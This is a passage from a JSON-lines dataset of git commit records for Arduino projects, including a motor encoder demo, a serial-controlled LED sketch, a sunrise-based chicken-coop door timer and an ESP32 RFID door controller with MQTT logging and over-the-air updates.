countsRight, errorLeft, errorRight);\n Serial.println(report);\n }\n\n if (buttonA.isPressed())\n {\n motors.setSpeeds(400, 400);\n }\n else if (buttonC.isPressed())\n {\n motors.setSpeeds(-400, -400);\n }\n else\n {\n motors.setSpeeds(0, 0);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Encoders\/Encoders.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"016ff1dac2e60ead37adec88045d6ff04bfd5495","subject":"Added Serial Passthrough","message":"Added Serial Passthrough\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/basicSerialPassthrough\/basicSerialPassthrough.ino","new_file":"software\/embedded\/Arduino Code\/basicSerialPassthrough\/basicSerialPassthrough.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/basicSerialPassthrough\/basicSerialPassthrough.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dfc308c4f99dd7bf9a1dbbb34cfc7d2420025f67","subject":"added empty robot firmware file","message":"added empty robot firmware file\n","repos":"research-team\/robot-dream,research-team\/robot-dream,research-team\/robot-dream","old_file":"platform_src\/RobotFirmware\/RobotFirmware.ino","new_file":"platform_src\/RobotFirmware\/RobotFirmware.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'platform_src\/RobotFirmware\/RobotFirmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"62d53e39e341c418b70728d1627ae938417ce82f","subject":"This is an example script that works with arduino-serial-main.cpp, the user can send ints from 0-9 and an LED on pin 9 will light up to varying degrees. If using the associated CPP file it will loop through the varying brightness.","message":"This is an example script that works with arduino-serial-main.cpp, the user can send ints from 0-9 and an LED on pin 9 will light up to varying degrees. If using the associated CPP file it will loop through the varying brightness.\n","repos":"Reesy\/ArduinoCommunicationCPP,Reesy\/ArduinoCommunicationCPP","old_file":"blink_test\/blink_test.ino","new_file":"blink_test\/blink_test.ino","new_contents":"bool currentlyReading = false;\nbool finishedReading = false;\n\n\n\nint result = 0;\n\nint ledPin = 9;\nint val = 0; \n\nvoid setup() {\n Serial.begin(9600);\n pinMode(ledPin, OUTPUT);\n \n \n}\n\nvoid loop () {\n \n if(Serial.available() > 0){\n val = Serial.read();\n if(val == '>'){\n currentlyReading = true;\n Serial.println(\"Reading engaged\");\n }\n if(val == ':'){\n currentlyReading = false;\n Serial.println(\"Reading disengaged\");\n }\n if(currentlyReading == true){\n \n if(val == '1'){\n result = map(1, 1, 9, 1, 255);\n }\n if(val == '2'){\n result = map(2, 1, 9, 1, 255);\n }\n if(val == '3'){\n result = map(3, 1, 9, 1, 255);\n }\n if(val == '4'){\n result = map(4, 1, 9, 1, 255);\n }\n if(val == '5'){\n result = map(5, 1, 9, 1, 255);\n }\n if(val == '6'){\n result = map(6, 1, 9, 1, 255);\n }\n if(val == '7'){\n result = map(7, 1, 9, 1, 255);\n }\n if(val == '8'){\n result = map(8, 1, 9, 1, 255);\n }\n if(val == '9'){\n result = map(9, 1, 9, 1, 255);\n }\n \n analogWrite(ledPin, result); \n }\n \n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blink_test\/blink_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"932ff9f52073347649f1d3f10e0c1357496b6703","subject":"initial big commit..","message":"initial big commit..\n","repos":"l33tllama\/chickendooropener","old_file":"chicken_door_timer_v2.ino","new_file":"chicken_door_timer_v2.ino","new_contents":"#include <avr\/sleep.h>\n#include <avr\/power.h>\n\n#include <LiquidCrystal.h>\n#include <Wire.h>\n#include <Button.h>\n#include <TimeLord.h>\n#include \"RTClib.h\"\n#include <EEPROM.h>\n\n\/\/ Pins\n#define PIN_ENC_A 7\n#define PIN_ENC_B 8\n#define PIN_ENC_BTN 6\n#define PIN_PIEZO 9\n#define PIN_DOOR_UP A0\n#define PIN_DOOR_DN A1\n#define PIN_LIMSW_UP A2\n#define PIN_LIMSW_DN A3\n\n#define DEFAULT_SUNRISE_PD_MINS 20\n#define DEFAULT_SUNSET_D_MINS 30\n\n#define CKSUM_SECRET 0b0111\n\/\/ time delay before sunrise (in case chickens want to get out early)\n\/\/ default - 20 - 0001 0100 - cksum - 0010\n#define SUNRISE_DT_0_P 0b0010\n#define SUNRISE_DT_1_P 0b0011\n#define SUNRISE_DT_C_P 0b0100\n#define SUNRISE_DT_0_V 0b0001\n#define SUNRISE_DT_1_V 0b0100\n#define SUNRISE_DT_C_V 0b0010\n\n\/\/ time delay after sunset (to be very sure that all chickens are back in..)\n\/\/ default - 30 - 0001 1110 - cksum: 1000\n#define SUNSET_DT_0_P 0b0101\n#define SUNSET_DT_1_P 0b0110\n#define SUNSET_DT_C_P 0b0111\n#define SUNSET_DT_0_V 0b0001\n#define SUNSET_DT_1_V 0b1110\n#define SUNSET_DT_C_V 0b1000\n\n#define DEBOUNCE_MS 20\n#define PULLUP false\n#define INVERT false\n\nvolatile int f_timer=0;\n\nRTC_DS1307 rtc;\n\nLiquidCrystal lcd(12, 11, 5, 4, 3, 2);\n\nDateTime now;\n\nTimeLord tardis;\n\nfloat const LATITUDE = -42.9166667;\nfloat const LONGITUDE = 147.3333282;\n\nbyte today[6];\nbyte sunrise[6];\nbyte sunset[6];\n\nbool isDayTime = false;\nbool doorOpen = false;\n\nunsigned int delay_time_before_sunrise;\nunsigned int delay_time_after_sunset;\n\nvoid readEEPROM() {\n\n byte sunrise_dt_v0 = EEPROM.read(SUNRISE_DT_0_P);\n byte sunrise_dt_v1 = EEPROM.read(SUNRISE_DT_1_P);\n byte sunrise_dt_c = EEPROM.read(SUNRISE_DT_C_P);\n\n byte sunset_dt_v0 = EEPROM.read(SUNSET_DT_0_P);\n byte sunset_dt_v1 = EEPROM.read(SUNSET_DT_1_P);\n byte sunset_dt_c = EEPROM.read(SUNSET_DT_C_P);\n\n byte sunrise_dt_c_calc = CKSUM_SECRET ^ sunrise_dt_v0;\n sunrise_dt_c_calc ^= sunrise_dt_v1;\n \n int precalc_sunrise_c = SUNRISE_DT_C_V;\n \n Serial.print(\"Sunrise checksum is supposed to be: \");\n Serial.println(precalc_sunrise_c);\n Serial.print(\"Calculated checksum: \");\n Serial.println(sunrise_dt_c_calc);\n\n if(sunrise_dt_c_calc != precalc_sunrise_c){\n Serial.println(\"Writing defeault values for sunrise delay.\");\n\n EEPROM.write(SUNRISE_DT_0_P, SUNRISE_DT_0_V);\n EEPROM.write(SUNRISE_DT_1_P, SUNRISE_DT_1_V);\n EEPROM.write(SUNRISE_DT_C_P, SUNRISE_DT_C_V);\n Serial.println(\"Done.\");\n }\n\n byte sunset_dt_c_calc = CKSUM_SECRET ^ sunset_dt_v0;\n sunset_dt_c_calc ^= sunset_dt_v1;\n\n int precalc_sunset_c = (int)SUNSET_DT_C_V;\n \n Serial.print(\"Sunset checksum is supposed to be:\");\n Serial.println(precalc_sunset_c);\n Serial.print(\"Calculated checksum: \");\n Serial.println(sunset_dt_c_calc);\n\n if(sunset_dt_c_calc != precalc_sunset_c){\n Serial.println(\"Writing default values for sunset delay.\");\n EEPROM.write(SUNSET_DT_0_P, SUNSET_DT_0_V);\n EEPROM.write(SUNSET_DT_1_P, SUNSET_DT_1_V);\n EEPROM.write(SUNSET_DT_C_P, SUNSET_DT_C_V);\n Serial.println(\"Done.\");\n }\n}\n\n\nISR(TIMER1_OVF_vect)\n{\n \/* set the flag. *\/\n if(f_timer == 0)\n {\n f_timer = 1;\n }\n}\n\nvoid enableInterrupts(){\n \n \/* Normal timer operation.*\/\n TCCR1A = 0x00; \n \n \/* Clear the timer counter register.\n * You can pre-load this register with a value in order to \n * reduce the timeout period, say if you wanted to wake up\n * ever 4.0 seconds exactly.\n *\/\n TCNT1=0x0000; \n \n \/* Configure the prescaler for 1:1024, giving us a \n * timeout of 4.09 seconds.\n *\/\n TCCR1B = 0x05;\n \n \/* Enable the timer overlow interrupt. *\/\n TIMSK1=0x01;\n}\n\nvoid setupPins(){\n pinMode(PIN_DOOR_UP, OUTPUT);\n pinMode(PIN_DOOR_DN, OUTPUT);\n pinMode(PIN_LIMSW_UP, INPUT);\n pinMode(PIN_LIMSW_DN, INPUT);\n}\n\nvoid showSplash(){\n \/\/ Splash to remind the user who made this!\n lcd.print(\"Door Timer \");\n lcd.setCursor(0, 1);\n lcd.print(\"by Leo Febey\");\n delay(1000);\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"Made at Hobart\");\n lcd.setCursor(0, 1);\n lcd.print(\"Hackerspace!\");\n delay(1000);\n lcd.clear();\n}\n\n\nvoid setup() {\n\n enableInterrupts();\n setupPins();\n\n tardis.TimeZone(11 * 60);\n tardis.Position(LATITUDE, LONGITUDE);\n\n \/\/ setup serial\n Serial.begin(9600);\n\n \/\/ setup LCD\n lcd.begin(16, 2);\n\n if (! rtc.begin()) {\n Serial.println(\"Couldn't find RTC\");\n while (1);\n }\n\n \/\/ setup RTC\n if (! rtc.isrunning()) {\n Serial.println(\"RTC is not running! PANIC!\");\n rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));\n }\n\n \/\/ Date testing using Datetime from RTC library\n now = rtc.now();\n\n \/\/ temp for setting RTC date - only for compilation time! \n \/\/ Remember to re-flash with this code commented out to stop the \n \/\/ Arduino restting the time to compile time every reboot..\n \/\/rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));\n\n \/\/ read eeprom settings (delays, ?)\n readEEPROM();\n\n showSplash();\n\n \/\/ testing..\n Serial.print(\"Date: \");\n Serial.print(now.day());\n Serial.print(\" : \");\n Serial.print(now.month(), DEC);\n Serial.print(\" : \");\n Serial.print(now.year(), DEC);\n Serial.print(\"\\nTime: \");\n Serial.print(now.hour(), DEC);\n Serial.print(\" : \");\n Serial.print(now.minute(), DEC);\n Serial.print(\" : \");\n Serial.print(now.second(), DEC);\n Serial.print(\"\\n\");\n\n \n\n \/\/ testing..\n checkTime();\n openDoor();\n closeDoor();\n}\n\nvoid enterSleep() {\n set_sleep_mode(SLEEP_MODE_IDLE);\n \n sleep_enable();\n\n\n \/* Disable all of the unused peripherals. This will reduce power\n * consumption further and, more importantly, some of these\n * peripherals may generate interrupts that will wake our Arduino from\n * sleep!\n *\/\n power_adc_disable();\n power_spi_disable();\n power_timer0_disable();\n power_timer2_disable();\n power_twi_disable(); \n\n \/* Now enter sleep mode. *\/\n sleep_mode();\n \n \/* The program will continue from here after the timer timeout*\/\n sleep_disable(); \/* First thing to do is disable sleep. *\/\n \n \/* Re-enable the peripherals. *\/\n power_all_enable();\n}\n\nvoid openDoor(){\n Serial.println(\"Opening the door..\");\n \/\/ send high to door open motor pin\n digitalWrite(PIN_DOOR_UP, HIGH);\n\n int timeoutcount = 0;\n const int TIMEOUT_MAX = 220;\n\n\n \/\/ loop until limit switch is hit (also add timeout)\n Serial.print(\"Waiting for door to open\");\n while(digitalRead(PIN_LIMSW_UP) == LOW){\n enterSleep(); \/\/ sleep for a few seconds to save power\n if(f_timer == 1)\n {\n f_timer = 0;\n }\n timeoutcount++;\n if(timeoutcount > TIMEOUT_MAX){\n Serial.print(\"\\nERROR! door not closing properly. Check limit switch.\\n\");\n Serial.print(\"Pretending that it's closed for now..\");\n break;\n }\n Serial.print(\".\");\n }\n Serial.println();\n\n \/\/ send low to door open motor pin\n digitalWrite(PIN_DOOR_UP, LOW);\n \n Serial.println(\"Door opened!!\");\n \/\/ set door is open bool to true\n doorOpen = true;\n\n}\n\nvoid closeDoor(){\n \/\/ send high to door close motor pin\n digitalWrite(PIN_DOOR_DN, HIGH);\n\n int timeoutcount = 0;\n const int TIMEOUT_MAX = 220;\n \n \/\/ loop until limit switch is hit (also add timeout)\n Serial.print(\"Waiting for door to close\");\n while(digitalRead(PIN_LIMSW_DN) == LOW){\n enterSleep(); \/\/ sleep for a few seconds to save power\n if(f_timer == 1)\n {\n f_timer = 0;\n }\n timeoutcount++;\n if(timeoutcount > TIMEOUT_MAX){\n Serial.print(\"\\nERROR! door not opening properly. Check limit switch.\\n\");\n Serial.print(\"Pretending that it's open for now..\");\n break;\n }\n Serial.print(\".\");\n }\n Serial.println();\n \n \/\/ send low to door close motor pin\n digitalWrite(PIN_DOOR_DN, LOW);\n Serial.println(\"Door closed!!\");\n \/\/ set door is open bool to false\n doorOpen = false;\n \n}\n\nvoid updateDoor(){\n if(isDayTime && !doorOpen){\n Serial.print(\"It's daytime and we are now opening the door!\");\n openDoor(); \n } else if (!isDayTime && doorOpen){\n Serial.print(\"It's night time and we are now closing the door!\");\n closeDoor();\n }\n}\n\nvoid checkTime(){\n \/\/today = {now.second(), now.minute(), now.hour(), now.day(), now.month(), now.year() } ;\n \/\/ check if it is time to open the door\n\n now = rtc.now();\n today[0] = now.second();\n today[1] = now.minute();\n today[2] = now.hour();\n today[3] = now.day();\n today[4] = now.month();\n today[5] = now.year();\n\n memcpy(sunrise, today, sizeof(byte) * 6);\n memcpy(sunset, today, sizeof(byte) * 6);\n\n bool evening = false;\n if (tardis.SunSet(sunset)) \/\/ if the sun will set today (it might not, in the [ant]arctic)\n {\n Serial.print(\"Sunset: \");\n Serial.print((int) sunset[tl_hour]);\n Serial.print(\":\");\n Serial.println((int) sunset[tl_minute]);\n\n int delta_mins = (now.hour() * 60 - sunset[tl_hour] * 60) + now.minute() - sunset[tl_minute];\n\n if(delta_mins > 0){\n Serial.print(\"Time after sunset: \");\n Serial.print((int)delta_mins \/ 60);\n Serial.print(\":\");\n Serial.println(delta_mins % 60);\n isDayTime = false;\n } else {\n Serial.print(\"Time until sunset: \");\n Serial.print(-delta_mins \/ 60);\n Serial.print(\":\");\n Serial.println(-delta_mins % 60);\n isDayTime = true;\n }\n }\n \/\/ get day for tomorrow if the sun has gone down already\n if(!isDayTime){\n \/\/ If in the evening, before the next day\n if(now.hour() > sunset[tl_hour]){\n Serial.println(\"Checking sunrise for tomorrow..?\");\n \/\/ get tomorrow's sunrise\n DateTime tomorrow = now + TimeSpan(1, 0, 0, 0);\n sunrise[0] = tomorrow.second();\n sunrise[1] = tomorrow.minute();\n sunrise[2] = tomorrow.hour();\n sunrise[3] = tomorrow.day();\n sunrise[4] = tomorrow.month();\n sunrise[5] = tomorrow.year();\n evening = true;\n }\n }\n if (tardis.SunRise(sunrise)) \/\/ if the sun will rise today (it might not, in the [ant]arctic)\n {\n \/\/ Old, computationally expensive method\n \/\/DateTime sunrise_dt(sunrise[5], sunrise[4], sunrise[3], sunrise[2], sunrise[1], sunrise[0]);\n \/\/DateTime midnight(now.year(), now.month(), now.day(), 0, 0, 0);\n \/\/DateTime now_plus_sunrise = now - (sunrise_dt - midnight);\n \n Serial.print(\"Sunrise: \");\n Serial.print((int) sunrise[tl_hour]);\n Serial.print(\":\");\n Serial.println((int) sunrise[tl_minute]);\n int delta_mins;\n if(!isDayTime){\n if(evening){\n \/\/ get total mins including minutes before midnight\n delta_mins = (24 - now.hour() + sunrise[tl_hour]) * 60 + (sunrise[tl_minute] + (60-now.minute()));\n } else { \/* morning *\/\n \/\/ sunrise - now\n delta_mins = (sunrise[tl_hour] - now.hour()) * 60 + (sunrise[tl_minute] - now.minute()); \n }\n } else {\n \/\/ time after sunrise - will be negative so below can say time after sunrise\n delta_mins = (sunrise[tl_hour] * 60 - now.hour() * 60) + sunrise[tl_minute] - now.minute(); \n }\n \n if(delta_mins < 0){\n Serial.print(\"Time after sunrise: \");\n Serial.print((int)-delta_mins \/ 60);\n Serial.print(\":\");\n Serial.println(-delta_mins % 60);\n } else {\n Serial.print(\"Time until sunrise: \");\n Serial.print(delta_mins \/ 60);\n Serial.print(\":\");\n Serial.println(delta_mins % 60);\n }\n }\n Serial.println();\n \n}\n\nvoid tensDigitLCD(int digit){\n if(digit \/ 10 < 1){\n lcd.print(\"0\");\n }\n lcd.print(digit);\n}\n\nvoid updateLCD(){\n lcd.clear();\n tensDigitLCD(now.day());\n lcd.print(\"\/\");\n tensDigitLCD(now.month());\n lcd.print(\"\/\");\n lcd.print(now.year());\n lcd.print(\" \");\n tensDigitLCD(now.hour());\n lcd.print(\":\");\n tensDigitLCD(now.minute());\n if(isDayTime){ \n lcd.setCursor(0, 1);\n lcd.print(\"Sunset: \");\n tensDigitLCD(sunset[tl_hour]);\n lcd.print(\":\");\n tensDigitLCD(sunset[tl_minute]);\n } else {\n lcd.setCursor(0, 1);\n lcd.print(\"Sunrise: \");\n tensDigitLCD(sunrise[tl_hour]);\n lcd.print(\":\");\n tensDigitLCD(sunrise[tl_minute]);\n }\n}\n\nvoid loop() {\n if(f_timer==1)\n {\n f_timer = 0;\n Serial.println(\"Waking from sleep..\");\n checkTime();\n updateDoor();\n updateLCD();\n \/* Re-enter sleep mode. *\/\n enterSleep();\n } \n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'chicken_door_timer_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9fe4e26f96725f5757b73ca210e3ddd39b5b0f53","subject":"Sample\/test","message":"Sample\/test\n","repos":"dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem","old_file":"test\/PoE-test\/voordeur-asis-2017\/voordeur-asis-2017.ino","new_file":"test\/PoE-test\/voordeur-asis-2017\/voordeur-asis-2017.ino","new_contents":"\/* Schuif\/voordeur 2-'as is' configuration which should be near identical\n to the existing setup late 2017.\n\n*\/\n\n\/\/ Wired ethernet.\n\/\/\n#define ETH_PHY_ADDR 1\n#define ETH_PHY_MDC 23\n#define ETH_PHY_MDIO 18\n#define ETH_PHY_POWER 17\n#define ETH_PHY_TYPE ETH_PHY_LAN8720\n\n\/\/ Labelling as per `blue' RFID MFRC522-MSL 1471 'fixed'\n\/\/\n#define MFRC522_SDA (15)\n#define MFRC522_SCK (14)\n#define MFRC522_MOSI (13)\n#define MFRC522_MISO (12)\n#define MFRC522_IRQ (33)\n#define MFRC522_GND \/* gnd pin *\/\n#define MFRC522_RSTO (32)\n#define MFRC522_3V3 \/* 3v3 *\/\n\n#define BUZZER_GPIO (2)\n#define SOLENOID_GPIO (4)\n#define REDLED_GPIO (5)\n\n#define LED_AART (16)\n\n#define DOOR_OPEN_DELAY (10*1000)\n#define REPORTING_PERIOD (300*1000)\n\ntypedef enum doorstates { CLOSED, CHECKINGCARD, OPEN } doorstate_t;\ndoorstate_t doorstate;\nunsigned long long last_doorstatechange = 0;\n\nlong cnt_cards = 0, cnt_opens = 0, cnt_closes = 0, cnt_fails = 0, cnt_misreads = 0, cnt_minutes = 0, cnt_reconnects = 0, cnt_mqttfails = 0;\n\n#include <ETH.h>\n#include <SPI.h>\n#include <SPIFFS.h>\n#include <FS.h>\n\n#include <ArduinoOTA.h>\n#include <ESP32Ticker.h>\n#include <PubSubClient.h>\n#include <MFRC522.h> \/\/ Requires modifed MFRC522 (see pull rq) or the -master branch as of late DEC 2017.\n\/\/ https:\/\/github.com\/miguelbalboa\/rfid.git\n\nSPIClass spirfid = SPIClass(VSPI);\nconst SPISettings spiSettings = SPISettings(SPI_CLOCK_DIV4, MSBFIRST, SPI_MODE0);\nMFRC522 mfrc522(MFRC522_SDA, MFRC522_RSTO, &spirfid, spiSettings);\n\nTicker buzzer, solenoid;\n\n#ifdef LOCALMQTT\nconst IPAddress mqtt_host = LOCALMQTT;\n#else\nconst char mqtt_host[] = \"space.vijn.org\";\n#endif\nconst unsigned short mqtt_port = 1883;\n\nextern void callback(char* topic, byte * payload, unsigned int length);\n\nbool caching = false;\n\n#ifdef LOCALMQTT\n#define PREFIX \"\"\n#else\n#define PREFIX \"test\"\n#endif\n\nconst char rfid_topic[] = PREFIX \"deur\/space2\/rfid\";\nconst char door_topic[] = PREFIX \"deur\/space2\/open\";\nconst char log_topic[] = PREFIX \"log\";\n\nWiFiClient wifiClient;\nPubSubClient client(wifiClient);\n\nstatic bool eth_connected = false;\n\nchar pname[128] = \"some-unconfigured-door\";\n\nstatic bool ota = false;\nvoid enableOTA() {\n if (ota)\n return;\n\n ArduinoOTA.setPort(3232);\n ArduinoOTA.setHostname(pname);\n#ifdef LOCALOTA\n ArduinoOTA.setPasswordHash(LOCALOTA);\n#endif\n\n ArduinoOTA.onStart([]() {\n String type;\n switch (ArduinoOTA.getCommand()) {\n case U_FLASH:\n type = \"Firmware\";\n break;\n case U_SPIFFS:\n type = \"SPIFFS\";\n break;\n default: {\n const char buff[] = \"Unknown type of reprogramming attempt. Rejecting.\";\n Serial.println(buff);\n client.publish(log_topic, buff);\n client.loop();\n ESP.restart();\n }\n break;\n };\n char buff[256];\n snprintf(buff, sizeof(buff), \"[%s] %s OTA reprogramming started.\", pname, type.c_str());\n\n Serial.println(buff);\n client.publish(log_topic, buff);\n client.loop();\n\n closeDoor();\n \n SPIFFS.end();\n });\n\n ArduinoOTA.onEnd([]() {\n char buff[256];\n snprintf(buff, sizeof(buff), \"[%s] OTA re-programming completed. Rebooting.\", pname);\n\n Serial.println(buff);\n client.publish(log_topic, buff);\n client.loop();\n\n client.disconnect();\n });\n\n ArduinoOTA.onError([](ota_error_t error) {\n Serial.printf(\"Error[%u]: \", error);\n if (error == OTA_AUTH_ERROR) Serial.println(\"Auth Failed\");\n else if (error == OTA_BEGIN_ERROR) Serial.println(\"Begin Failed\");\n else if (error == OTA_CONNECT_ERROR) Serial.println(\"Connect Failed\");\n else if (error == OTA_RECEIVE_ERROR) Serial.println(\"Receive Failed\");\n else if (error == OTA_END_ERROR) Serial.println(\"End Failed\");\n });\n\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n static int lp = -1 ;\n int p = progress \/ (total \/ 10);\n if (p != lp) Serial.printf(\"Progress: %u %%\\n\", p * 10);\n lp = p;\n digitalWrite(LED_AART, ((millis() >> 7) & 3) == 0);\n });\n\n \/\/ Unfortunately-deep in OTA it auto defaults to Wifi. So we\n \/\/ force it to ETH -- requires pull RQ https:\/\/github.com\/espressif\/arduino-esp32\/issues\/944\n \/\/ and https:\/\/github.com\/espressif\/esp-idf\/issues\/1431.\n \/\/\n ArduinoOTA.begin(TCPIP_ADAPTER_IF_ETH);\n\n Serial.println(\"OTA enabled.\");\n ota = true;\n}\n\nString DisplayIP4Address(IPAddress address)\n{\n return String(address[0]) + \".\" +\n String(address[1]) + \".\" +\n String(address[2]) + \".\" +\n String(address[3]);\n}\n\nString connectionDetailsString() {\n return \"Wired Ethernet: \" + ETH.macAddress() +\n \", IPv4: \" + DisplayIP4Address(ETH.localIP()) + \", \" +\n ((ETH.fullDuplex()) ? \"full\" : \"half\") + \"-duplex, \" +\n String(ETH.linkSpeed()) + \" Mbps, Build: \" +\n String(__DATE__) + \" \" + String(__TIME__);\n}\n\nvoid WiFiEvent(WiFiEvent_t event)\n{\n switch (event) {\n case SYSTEM_EVENT_ETH_START:\n Serial.println(\"ETH Started\");\n ETH.setHostname(pname);\n break;\n case SYSTEM_EVENT_ETH_CONNECTED:\n Serial.println(\"ETH Connected\");\n break;\n case SYSTEM_EVENT_ETH_GOT_IP:\n case SYSTEM_EVENT_STA_GOT_IP:\n Serial.println(connectionDetailsString());\n eth_connected = true;\n break;\n case SYSTEM_EVENT_ETH_DISCONNECTED:\n Serial.printf(\"ETH Disconnected (event %d)\\n\", event);\n eth_connected = false;\n break;\n case SYSTEM_EVENT_ETH_STOP:\n Serial.println(\"ETH Stopped\");\n eth_connected = false;\n break;\n default:\n Serial.printf(\"Unknown event %d\\n\", event);\n break;\n }\n}\n\nvolatile boolean irqCardSeen = false;\n\nvoid readCard() {\n irqCardSeen = true;\n}\n\n\/* The function sending to the MFRC522 the needed commands to activate the reception\n*\/\nvoid activateRec(MFRC522 mfrc522) {\n mfrc522.PCD_WriteRegister(mfrc522.FIFODataReg, mfrc522.PICC_CMD_REQA);\n mfrc522.PCD_WriteRegister(mfrc522.CommandReg, mfrc522.PCD_Transceive);\n mfrc522.PCD_WriteRegister(mfrc522.BitFramingReg, 0x87);\n}\n\n\/* The function to clear the pending interrupt bits after interrupt serving routine\n*\/\nvoid clearInt(MFRC522 mfrc522) {\n mfrc522.PCD_WriteRegister(mfrc522.ComIrqReg, 0x7F);\n}\n\n\n\nstatic long lastReconnectAttempt = 0;\n\nboolean reconnect() {\n if (!client.connect(pname)) {\n \/\/ Do not log this to the MQTT bus-as it may have been us posting too much\n \/\/ or some other loop-ish thing that triggered our disconnect.\n \/\/\n Serial.println(\"Failed to reconnect to MQTT bus.\");\n return false;\n }\n\n char buff[256];\n snprintf(buff, sizeof(buff), \"[%s] %sconnected, %s\", pname, cnt_reconnects ? \"re\" : \"\", connectionDetailsString().c_str());\n client.publish(log_topic, buff);\n client.subscribe(door_topic);\n Serial.println(buff);\n\n cnt_reconnects++;\n\n return client.connected();\n}\n\nvoid setup()\n{\n const char * f = __FILE__;\n char * p = rindex(f, '\/');\n if (p)\n strncpy(pname, p + 1, sizeof(pname));\n\n p = index(pname, '.');\n if (p)\n *p = 0;\n\n#ifndef LOCALMQTT\n \/\/ Alert us to safe, non production versions.\n strncat(pname, \"-test\", sizeof(pname));\n#endif\n\n Serial.begin(115200);\n Serial.print(\"\\n\\n\\n\\nStart \");\n Serial.print(pname);\n Serial.println(\" -- buuld: \" __DATE__ \" \" __TIME__ );\n\n pinMode(LED_AART, OUTPUT);\n digitalWrite(LED_AART, 1);\n\n pinMode(BUZZER_GPIO, OUTPUT);\n digitalWrite(BUZZER_GPIO, 1);\n\n pinMode(SOLENOID_GPIO, OUTPUT);\n digitalWrite(SOLENOID_GPIO, 1);\n\n WiFi.onEvent(WiFiEvent);\n\n ETH.begin();\n\n Serial.println(\"SPI init\");\n spirfid.begin(MFRC522_SCK, MFRC522_MISO, MFRC522_MOSI, MFRC522_SDA);\n\n Serial.println(\"MFRC522 IRQ and callback setup.\");\n mfrc522.PCD_Init(); \/\/ Init MFRC522\n mfrc522.PCD_DumpVersionToSerial(); \/\/ Show details of PCD-MFRC522 Card Reader details\n\n pinMode(MFRC522_IRQ, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(MFRC522_IRQ), readCard, FALLING);\n\n byte regVal = 0xA0; \/\/rx irq\n mfrc522.PCD_WriteRegister(mfrc522.ComIEnReg, regVal);\n\n Serial.println(\"Setting up MQTT\");\n client.setServer(mqtt_host, mqtt_port);\n client.setCallback(callback);\n\n doorstate = CLOSED;\n last_doorstatechange = millis();\n\n Serial.println(\"SPIFF setup\");\n if (!SPIFFS.begin()) {\n Serial.println(\"SPIFFS Mount Failed-reformatting\");\n wipeCache();\n } else {\n caching = true;\n listDir(SPIFFS, \" \/ \", \"\");\n };\n\n Serial.println(\"setup() done.\\n\\n\");\n}\n\n\/\/ This function is taken from the SPIFFS_Test example. Under the expressif ESP32 license.\n\/\/\nvoid listDir(fs::FS &fs, const char * dirname, String prefix) {\n Serial.print(prefix);\n Serial.println(dirname);\n\n File root = fs.open(dirname);\n if (!root) {\n Serial.println(\"Failed to open directory\");\n return;\n }\n if (!root.isDirectory()) {\n Serial.println(\"Not a directory\");\n return;\n }\n\n File file = root.openNextFile();\n while (file) {\n if (file.isDirectory()) {\n listDir(fs, file.name(), prefix + \" \");\n } else {\n Serial.print(prefix + \" \");\n Serial.println(file.name());\n }\n file = root.openNextFile();\n }\n root.close();\n}\n\nvoid wipeCache() {\n caching = false;\n\n if (!SPIFFS.format()) {\n Serial.println(\"SPIFFS formatting failed.\");\n return;\n }\n\n Serial.println(\"Formatted.\");\n if (!SPIFFS.begin()) {\n Serial.println(\"SPIFFS mount after formatting failed.\");\n return;\n };\n\n for (int i = 0; i < 255; i++)\n SPIFFS.mkdir(String(i));\n\n Serial.println(\"Directory structure created.\");\n listDir(SPIFFS, \" \/ \", \"\");\n caching = true;\n};\n\nString uid2path(MFRC522::Uid uid) {\n String path = \"\/uid-\";\n for (int i = 0; i < uid.size; i++) {\n path += String(uid.uidByte[i], DEC);\n if (i == 0)\n path += \" \/ \";\n else\n path += \".\";\n };\n return path;\n}\n\nbool checkCache(MFRC522::Uid uid) {\n String path = uid2path(uid) + \".lastOK\";\n return SPIFFS.exists(path);\n}\n\nvoid setCache(MFRC522::Uid uid, bool ok) {\n String path = uid2path(uid) + \".lastOK\";\n if (ok) {\n File f = SPIFFS.open(path, \"w\");\n f.println(cnt_minutes);\n f.close();\n } else {\n SPIFFS.remove(path);\n }\n}\n\nvoid closeDoor() {\n doorstate = CLOSED;\n digitalWrite(SOLENOID_GPIO, HIGH);\n\n buzzer.detach();\n digitalWrite(BUZZER_GPIO, HIGH);\n}\n\nvoid buzz() {\n static int flip = 0;\n digitalWrite(BUZZER_GPIO, flip);\n flip = ! flip;\n}\n\nvoid openDoor() {\n doorstate = OPEN;\n\n \/\/ Engage solenoid.\n digitalWrite(SOLENOID_GPIO, LOW);\n\n \/\/ according to Ticker examples - this will reset\/overwrite\n \/\/ any already running tickers.\n \/\/\n solenoid.once_ms(DOOR_OPEN_DELAY, &closeDoor);\n\n \/\/ Sound buzzer 5 times \/ second. Use analog PWM if we need faster than 1kHz.\n buzzer.attach_ms(200, &buzz); \n\n};\n\nbool isOpen() {\n return digitalRead(SOLENOID_GPIO) == LOW;\n}\n\n\nbool isClosed() {\n return !isOpen();\n}\n\nMFRC522::Uid uid;\n\nString uidToString(MFRC522::Uid uid) {\n String uidStr = \"\";\n for (int i = 0; i < uid.size; i++) {\n if (i) uidStr += \"-\";\n uidStr += String(uid.uidByte[i], DEC);\n };\n 